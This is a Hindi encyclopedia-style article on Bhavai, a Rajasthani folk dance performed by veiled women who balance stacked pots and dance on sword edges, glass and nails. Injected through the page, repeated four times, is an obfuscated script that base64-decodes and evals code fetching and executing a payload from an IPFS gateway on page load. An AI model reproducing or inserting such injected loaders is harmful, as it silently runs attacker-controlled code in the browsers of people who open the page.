भंवाई नृत्य
भंवाई अथवा भवई नृत्य राजस्थान के प्रसिद्ध लोक नृत्यों में से एक है। यह नृत्य अपनी चमत्कारिता के लिए प्रासिद्ध है। इस नृत्य में विभिन्न शरीरिक करतब दिखाने पर अधिक बल दिया जाता है।
- भंवाई नृत्य राजस्थान के उदयपुर संभाग में अधिक प्रचलित है।
- इस नृत्य में घूँघट किये हुए नर्तकियाँ मुख्य भूमिका निभाती हैं।
- नर्तकियाँ सात अथवा आठ तांबे के घड़े सिर पर रखकर व उनका संतुलन रखते हुए नृत्य करती हैं।
- भंवाई नृत्य करने वाली नृत्यांगनाएँ किसी गिलास के ऊपर अथवा तलवार की धार पर अपने पैर के तलुओं को टिकाकर झूलते हुए नृत्य करती हैं।
- अनूठी नृत्य अदायगी, शरीरिक क्रियाओं के अद्भुत चमत्कार तथा लयकारी की विविधता इसकी मुख्य विशेषताएँ हैं।
- यह नृत्य तेज लय के साथ सिर पर सात-आठ मटके रखकार किया जाता है।
- नृत्य के दौरान जमीन पर पड़ा रूमाल मुहँ से उठाना, तलवार की धार, काँच के टुकड़ों पर और नुकीली कीलों पर नृत्य करना, इस नृत्य की अनोखी विशेषताएँ हैं।
- भंवाई नृत्य में नए कौतूहल व सिरहन उत्पन्न करने वाले कारनामे होते हैं।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: घुड़ला नृत्य, अग्नि नृत्य एवं कालबेलिया नृत्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>